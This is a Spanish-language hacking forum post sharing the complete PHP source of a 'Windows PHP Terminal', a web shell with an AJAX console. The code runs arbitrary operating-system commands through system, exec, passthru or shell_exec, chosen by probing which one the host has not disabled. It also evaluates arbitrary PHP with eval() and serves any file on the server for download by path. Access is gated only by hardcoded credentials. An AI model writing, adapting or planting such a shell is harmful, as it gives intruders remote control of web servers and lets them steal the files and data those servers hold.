help_outline
Ayudanos!
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Aporte] Windows PHP Terminal [Beta]

  • 0 Respuestas
  • 1145 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Miusi

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • 2 + 12 - (2 x 5) = 4 2 10
    • Ver Perfil
« en: Enero 19, 2011, 01:14:27 pm »
Windows PHP Terminal


Info:

 Ejecuta la mayoria de comandos.
Por el momento es una versión beta, lo cual no sorprenderia si tiene errores.

Demo: Link caido. Por ahora

Código: PHP
  1. <?php
  2.  
  3. /**
  4.  * @Versión: 0.1 Beta
  5.  * @Home http://miusi.diosdelared.com
  6.  * @Greetz: Xarnuz · eCORE · Rayok3nt · J3h35 · L0ve · s4r4d0 · Elemento_pcx (Fatal Error) · ToxiT · Basshettzx · Mafia Boys Crew members · Y para los demás... que me conocen!
  7.  */
  8.  
  9.  
  10. // Configuración
  11. $config_command_prefix = "$";
  12. $config_username = "admin";
  13. $config_password = "r00t";
  14. $config_welcome = "<br />----------- BIENVENIDO A PHP TERMINAL -----------<br />";
  15. $config_file = basename(__FILE__);
  16.  
  17. /**
  18.  * Lista de Código
  19.  *
  20.  * 200: OK
  21.  * 210: Descargar archivos x
  22.  * 220: Actualizar (Refresh)
  23.  * 300: Pedir datos (nombre de usuario y contraseña)
  24.  * 310: nombre de usuario incorrecto
  25.  * 320: Password ok
  26.  * 330: Password incorrecto
  27.  * 400: Problema con comando, Comando invalido
  28.  */
  29.  
  30.  
  31. $config_command_prefix = '<span class="prefix">' . $config_command_prefix . '</span>';
  32.  
  33.  
  34. if($_SESSION['terminal']['loggedin'] && isset($_GET['file'])){
  35.         $file = trim($_GET['file']);
  36.         header('Content-Description: File Transfer');
  37.         header('Content-Disposition: attachment; filename='.basename($file));
  38.         header('Content-Length: ' . filesize($file));
  39.         readfile($file);
  40.         exit();                        
  41. }
  42.  
  43.  
  44. if(isset($_POST['action'])){
  45.         switch($_POST['action']){
  46.                
  47.                  
  48.                 case 'command':
  49.                         if(isset($_POST['command'])){
  50.                                
  51.                                
  52.                                 $command = trim(str_replace($config_command_prefix, '', $_POST['command']));
  53.                                 $data['command'] = $command;
  54.                                 $data['color_command'] = color_command($command);
  55.                                
  56.                                
  57.                                 if(strstr($command, 'exit')){
  58.                                         session_destroy();
  59.                                         $data['result'] = "No sabes los datos de login";
  60.                                         response($data, 220);
  61.                                 }
  62.                                
  63.                                
  64.                                 if(strstr($_POST['line'], 'username: ')){
  65.                                         $user = trim(str_replace('username: ', '', $command));
  66.                                         if($user == $config_username){
  67.                                                 $_SESSION['terminal']['username'] = $user;
  68.                                                 response($data, 300);
  69.                                         }else{
  70.                                                 response($data, 310, "Usuario incorrecto");
  71.                                         }
  72.                                 }
  73.                                
  74.                                
  75.                                 if(strstr($_POST['line'], 'password: ')){
  76.                                         $pass = trim(str_replace('password: ', '', $command));
  77.                                         if($pass == $config_password){
  78.                                                 $_SESSION['terminal']['password'] = $pass;
  79.                                                 $_SESSION['terminal']['loggedin'] = true;
  80.                                                 response($data, 320);
  81.                                         }else{
  82.                                                 response($data, 330, "Password incorrecto");
  83.                                         }
  84.                                 }
  85.                                
  86.                                
  87.                                 if(!isset($_SESSION['terminal']['loggedin']) && !$_SESSION['terminal']['loggedin']){
  88.                                         response($data, 400, "Permiso denegado");
  89.                                 }
  90.                                
  91.                                
  92.                                 if(strstr($command, 'cd ')){
  93.                                         $path = trim(str_replace('cd ', '', $command));
  94.                                         $_SESSION['terminal']['path'] = compress_path($_SESSION['terminal']['path'] . '/' . $path);
  95.                                         $data['result'] = "";
  96.                                         $data['path'] = $_SESSION['terminal']['path'];
  97.                                         response($data);
  98.                                 }
  99.                                
  100.                                  
  101.                                 if(strstr($command, 'func ')){
  102.                                         $function = trim(str_replace('func ', '', $command));
  103.                                         $data['result'] = function_exists( $function ) ? "exist" : "doesn't exist";
  104.                                         response($data);
  105.                                 }
  106.                                
  107.                                
  108.                                 if(strstr($command, 'exec ')){
  109.                                         $code = trim(str_replace('exec ', '', $command));
  110.                                        
  111.                                        
  112.                                         ob_start();
  113.                                         eval($code);
  114.                                         $content = ob_get_contents();
  115.                                         ob_clean();
  116.  
  117.                                         $data['result'] = $content;
  118.                                         response($data);
  119.                                 }
  120.  
  121.                                
  122.                                 if($command != ""){
  123.                                         $data['result'] = execute($command, $_SESSION['terminal']['function']);
  124.                                         response($data);
  125.                                 }else{
  126.                                         response($data, 400, 'Empty command');
  127.                                 }
  128.                                
  129.                         }
  130.                         break;
  131.                        
  132.                  
  133.                 case 'init':
  134.                         if(!isset($_SESSION['terminal']['function']) || $_SESSION['terminal']['function'] == ''){
  135.                                 $commander = getValidCommandFunction();
  136.                                 $_SESSION['terminal']['function'] = $commander;
  137.                         }
  138.                         sleep(1);
  139.                        
  140.                         $data['commander'] = $commander;
  141.                         $data['loggedin'] = isset($_SESSION['terminal']['loggedin']) && $_SESSION['terminal']['loggedin'] ? true : false;
  142.                         response($data);
  143.                         break;
  144.         }
  145.         exit();
  146. }
  147.  
  148. /**
  149.  *
  150.  *
  151.  *
  152.  *
  153.  *
  154.  *
  155.  */
  156. function response($data, $code=200, $error=""){
  157.        
  158.         $response['code'] = $code;
  159.         $response['error'] = $error;
  160.         $response['data'] = $data;
  161.        
  162.         echo json_encode($response);
  163.         exit();
  164.        
  165. }
  166.  
  167. /**
  168.  * Windows
  169.  *
  170.  * @
  171.  */
  172. function isWindows(){
  173.         ob_start();
  174.         phpinfo();
  175.         $phpinfo = ob_get_clean();
  176.         return preg_match('~System </td><td class="v">([^<]*Windows)~',$phpinfo) ? true : false;       
  177. }
  178.  
  179. function getValidCommandFunction(){
  180.         // Prueba
  181.         $test_command = isWindows() ? 'dir' : 'ls';
  182.        
  183.         //
  184.         ob_start();
  185.         system($test_command);
  186.         $result = ob_get_contents();
  187.         ob_end_clean();
  188.         if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'system';
  189.        
  190.         //
  191.         $result = exec($test_command);
  192.         if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'exec';
  193.        
  194.         //
  195.         ob_start();
  196.         passthru($test_command);
  197.         $result = ob_get_contents();
  198.         ob_end_clean();
  199.         if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'passthru';
  200.        
  201.         // shell_exec
  202.         $result = shell_exec($test_command);
  203.         if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'shell_exec';
  204.        
  205. }
  206.  
  207. function execute($command, $function, $n_to_br=true){
  208.        
  209.         $chdir = '';
  210.         if($_SESSION['terminal']['path'] != ''){
  211.                 if(isWindows()){
  212.                         if(!@chdir( $_SESSION['terminal']['path'] )){
  213.                                 $_SESSION['terminal']['path'] = '';
  214.                                 $data['result'] = "Has vuelto al directorio .";
  215.                                 response($data);
  216.                         }
  217.                 }else{
  218.                         $chdir = "cd " . $_SESSION['terminal']['path'] . "\n";
  219.                 }
  220.         }
  221.        
  222.        
  223.         switch($function){
  224.                
  225.                 case 'system':
  226.                         ob_start();
  227.                         system($chdir . $command);
  228.                         $result = ob_get_contents();
  229.                         ob_end_clean();
  230.                         break;
  231.                 case 'exec':
  232.                         $result = exec($chdir . $command);
  233.                         break;
  234.                 case 'passthru':
  235.                         ob_start();
  236.                         passthru($chdir . $command);
  237.                         $result = ob_get_contents();
  238.                         ob_end_clean();
  239.                         break;
  240.                 case 'shell_exec':
  241.                         $result = shell_exec($chdir . $command);
  242.                         break;
  243.                 default:
  244.                         $result = false;
  245.                         break;
  246.         }
  247.        
  248.         return $n_to_br ? nl2br( htmlspecialchars( $result )) : htmlspecialchars($result);
  249.        
  250. }
  251.  
  252. function compress_path($path){
  253.        
  254.         //
  255.         $clean = str_replace('\\', '/', $path);
  256.        
  257.         //
  258.         $clean = str_replace(array('////', '///', '//'), '/', $clean);
  259.        
  260.         if(substr($clean, 0, 1) == "/") $clean = substr($clean, 1);
  261.        
  262.         return $clean;
  263. }
  264.  
  265. function color_command($command){
  266.         $parts = explode(' ', $command);
  267.         $parts[0] = '<span class="keyword">' . $parts[0] . '</span>';
  268.         return implode(' ', $parts);
  269. }
  270.  
  271. ?>
  272.  
  273. <html>
  274. <head>
  275. <title>Windows Terminal PHP</title>
  276. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js" type="text/javascript"></script>
  277. <style>
  278.         body{
  279.                 text-align: center;
  280.                 font-size: 11px;
  281.                 font-family: verdana;
  282.                 background-color: #EFEFEF;
  283.         }
  284.         h1 {
  285.                 padding: 10px 15px;
  286.                 margin: 0px;
  287.                 font-size: 14px;
  288.                 background-color: #747474;
  289.                 background-image: -moz-linear-gradient(100% 100% 90deg, #777, #999) !important;
  290.         background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#999), to(#777)) !important;
  291.                 color: #FFF;
  292.                 -webkit-border-radius: 4px;
  293.                 -moz-border-radius: 4px;
  294.                 border-radius: 4px;
  295.                 text-shadow:1px 1px 2px #333333;
  296.         }
  297.         table {
  298.                 width: 565px;
  299.         }
  300.         table tr td{
  301.                 font-family: verdana;
  302.                 font-size: 11px;
  303.                 padding: 10px 5px;
  304.                 border-bottom: solid 1px #CCC;
  305.                
  306.         }
  307.         #wrapper{
  308.                 width: 600px;
  309.                 margin: 20px auto;
  310.                 text-align: left;
  311.         }
  312.         #console{
  313.                 height: 200px;
  314.                 overflow: auto;
  315.                 background-color: #000;
  316.                 padding: 15px;
  317.                 font-family: monospace;
  318.                 font-size: 12px;
  319.                 color: #FFF;
  320.         }
  321.         .content{
  322.                 padding: 15px;
  323.         }
  324.         #commander{
  325.                 border: solid 1px #CCC;
  326.                 padding: 5px 10px;
  327.                 -webkit-border-radius: 2px;
  328.                 -moz-border-radius: 2px;
  329.                 border-radius: 2px;
  330.                 margin: 5px;
  331.                 width: 590px;
  332.                 height: 30px;
  333.         }
  334.         .box{
  335.                 -moz-box-shadow: 1px 1px 8px #666;
  336.                 -webkit-box-shadow: 1px 1px 8px #666;
  337.                 box-shadow: 1px 1px 8px #666;
  338.                 border: solid 1px #DDD;
  339.                 -webkit-border-radius: 4px;
  340.                 -moz-border-radius: 4px;
  341.                 border-radius: 4px;
  342.                 margin: 15px 0px;
  343.                 background-color: #F5F5F5;
  344.         }
  345.         #help{
  346.                 width: 300px;
  347.                 float: right;
  348.         }
  349.         .prefix{
  350.                 color: #0077E7;
  351.         }
  352.         .keyword{
  353.                 color: #9eff63;
  354.         }
  355.         .error{
  356.                 color: #FF0000;
  357.         }
  358.         .spacer{
  359.         clear: both;
  360.         display: block;
  361.         text-align: center;
  362.         }
  363. </style>
  364. <script type="text/javascript">    
  365.  
  366.         // Config
  367.         var config_command_prefix = '<?php echo $config_command_prefix ?>';
  368.         var config_welcome = '<?php echo $config_welcome ?>';
  369.         var command_stack = Array();
  370.         var command_stack_position = 0;
  371.  
  372.         $(document).ready(function() {
  373.             $.post("<?php echo $config_file; ?>", {action: 'init'}, function(response){
  374.                         var extra = response.data.loggedin ? 'Bienvenido a Windows Terminal' : ' username: ?';
  375.                 $("#console").html($("#console").html() + "<br />" + config_command_prefix + extra);
  376.                 $("#commander").attr('disabled', false);
  377.                         // Set focus to commander
  378.                 $("#commander").focus();
  379.                
  380.                 }, "json");
  381.         });
  382.  
  383.         function execute(field,event) {
  384.                 var theCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
  385.                 if(theCode == 38){
  386.                         if(command_stack_position > 0) command_stack_position--;
  387.                         $("#commander").val(command_stack[command_stack_position]);
  388.                 }else if(theCode == 40){
  389.                         if(command_stack_position < (command_stack.length-1)) command_stack_position++;
  390.                         $("#commander").val(command_stack[command_stack_position]);
  391.                 }else if (theCode == 13){
  392.  
  393.                         // Get the inputed command
  394.                         var command = $("#commander").val();
  395.                         $("#commander").val('');
  396.  
  397.                         // Add command to stack and update position
  398.                         command_stack.push( command );
  399.                         command_stack_position = (command_stack.length);
  400.                        
  401.                         // Get the last line of the result window to see if there was a question
  402.                         var lines = $("#console").html().toLowerCase().split('<br>');
  403.                         var line = lines[lines.length-1];
  404.  
  405.                         // Check if it is a download command
  406.                         if(command.indexOf("download") > -1){
  407.                                 var file = command.replace('download ', '');
  408.                                 window.location = '<?php echo $config_file; ?>?file=' + file;
  409.                                 return;
  410.                         }
  411.  
  412.                         // Check if it is a cls command
  413.                         if(command.indexOf("cls") == 0 || command.indexOf("clear") == 0){
  414.                                 $("#console").html("");
  415.                                 return;
  416.                         }
  417.                        
  418.                         $.post("<?php echo $config_file; ?>", {action: 'command', command: command, line: line}, function(response){
  419.                                 if(response.code == 200){
  420.                                         show = (response.data.result == null) ? "" : response.data.result + "<br />";
  421.                                         result = config_command_prefix + " " + response.data.color_command + "<br />" + show;
  422.                                 }else if(response.code == 220){
  423.                                         window.location = '<?php echo $config_file; ?>';
  424.                                 }else if(response.code == 310){
  425.                                         result = response.error + "<br />" + config_command_prefix + " username: ?";
  426.                                 }else if(response.code == 320){
  427.                                         result = config_welcome + "<br />" + config_command_prefix + " ";
  428.                                 }else if(response.code == 330){
  429.                                         result = response.error + "<br />" + config_command_prefix + " password: ?";
  430.                                 }else if(response.code == 300){
  431.                                         result = config_command_prefix + " password: ?";
  432.                                 }else{
  433.                                         result = '<span class="error">' + response.error + "</span><br />";
  434.                                 }
  435.                                 $("#console").html($("#console").html() + '<br />' + result ).focus();
  436.  
  437.                                 // Scroll to bottom
  438.                                 textareaelem = document.getElementById('console');
  439.                                 textareaelem.scrollTop = textareaelem.scrollHeight;
  440.  
  441.                                 // Set focus to commander
  442.                                 $("#commander").focus();
  443.                                
  444.                         }, "json");
  445.                         return false;
  446.                 }else{
  447.                         return true;
  448.                 }
  449.  
  450.         }
  451.  
  452. </script>
  453.        
  454. </head>
  455. <body>
  456.  
  457. <div id="wrapper">
  458.         <div class="box">
  459.                 <h1>Terminal@<?php echo $_SERVER['SERVER_NAME']; ?></h1>
  460.           <div id="console"><?php echo $config_command_prefix ?> Cargando terminal windows ...</div>
  461.                 <input text="test" id="commander" onKeyUp="execute(this,event);" disabled="disabled" />
  462.         </div>
  463.  
  464.         <div class="box">
  465.                 <h1> Informaci&oacute;n del Sistema</h1>
  466.                 <div class="content">
  467.                         <table cellpadding="5" cellspacing="0" >
  468.                                 <tr>
  469.                                         <td>PHP Versi&oacute;n</td>
  470.                                         <td align="right"><?php echo phpversion(); ?></td>
  471.                                 </tr>
  472.                                 <tr>
  473.                                         <td>Host</td>
  474.                                         <td align="right"><?php echo $_SERVER['HTTP_HOST']; ?></td>
  475.                                 </tr>
  476.                                 <tr>
  477.                                         <td>Full path</td>
  478.                                         <td align="right"><?php echo dirname(__FILE__); ?></td>
  479.                                 </tr>
  480.                                 <tr>
  481.                                         <td>Server</td>
  482.                                         <td align="right"><?php echo $_SERVER['SERVER_SOFTWARE'] ?></td>
  483.                                 </tr>
  484.                         </table>
  485.                 </div>
  486.         </div>
  487.  
  488.         <div class="spacer"><!-- SPACER --><SCRIPT LANGUAGE="JavaScript">
  489. function mi_alerta () {
  490. alert ("Alejandro - Basshettzx - Antrax - SeR00T - Flemon - N350k - Aioros - TrueneX - L0ve - Cronos - Dracko - Xarnuz - eCORE - Pois0n-r00t - J3h35  - CruTsy  - Cristina Fernandez de Kichner.!");
  491. }
  492. </SCRIPT>
  493. </HEAD>
  494. <BODY>
  495. <FORM>
  496. <input type=button value="Greetz" onClick="mi_alerta()">
  497. </FORM></div>
  498. </div>
  499.  
  500. </body>
  501. </html>
« Última modificación: Julio 14, 2014, 12:51:01 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



[APORTE] edPDF - "Libreria" para edicion y creacion de PDFs

Iniciado por kid_goth

Respuestas: 4
Vistas: 1140
Último mensaje Marzo 10, 2014, 07:15:31 pm
por kid_goth
[Shell] AK-74 Security Team Web Shell Beta Version!

Iniciado por Mayk0

Respuestas: 0
Vistas: 1387
Último mensaje Abril 27, 2013, 10:11:08 am
por Mayk0